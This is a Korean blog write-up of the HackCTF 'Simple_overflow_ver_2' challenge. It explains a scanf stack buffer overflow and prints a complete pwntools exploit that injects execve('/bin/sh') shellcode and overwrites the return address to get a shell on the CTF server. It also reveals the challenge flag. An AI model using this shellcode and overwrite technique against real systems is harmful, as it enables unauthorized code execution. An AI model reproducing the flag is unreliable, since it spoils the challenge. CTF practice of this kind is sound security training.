따로 주목할만한 보호기법은 안걸려있는 모습
입력받은 데이터를 저장하는 버퍼의 주소와 입력받은 데이터를 한 문자씩 출력하는 간단한 프로그램.
Again을 물어보고 y를 입력으로 제공하면 다시 입력을 받을 수 있는 모습이다.
IDA로 확인한 BOF 취약점은 scanf에 있다. 따라서 다음과 같은 방법으로 exploit을 시도할 수 있다.
① 버퍼의 주소를 먼저 파악한다.
② 해당 버퍼에 쉘코드를 삽입하고 return address를 버퍼의 주소로 덮어 BOF를 발생하게한다.
gdb로 뜯어보면 ret이 어디 위치에 있는지 알 수 있다.( 140 바이트 이후)
from pwn import *
# context.log_level = "debug"
#p = process('./Simple_overflow_ver_2')
p = remote("ctf.j0n9hyun.xyz",3006)
p.recvuntil("Data : ")
p.sendline('AAAA')
a = p.recvline()[:-11]
a = int(a, 16)
print(hex(a))
p.recvuntil("Again (y/n): ")
p.sendline('y')
p.recvuntil("Data : ")
payload = ''
payload += '\x90' * 25
payload += '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload += '\x90' * (136-25-26)
payload += 'A' * 4 # sfp
payload += p32(a) # ret
p.sendline(payload)
p.interactive()
FLAG : HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}
반응형
'WriteUp > HackCTF' 카테고리의 다른 글
[HackCTF] BOF_PIE (0) | 2021.08.21 |
---|---|
[HackCTF] Offset (0) | 2021.08.10 |
[HackCTF] x64 simple_size_BOF (0) | 2021.08.08 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.08.08 |
[HackCTF] Basic_FSB (0) | 2021.08.08 |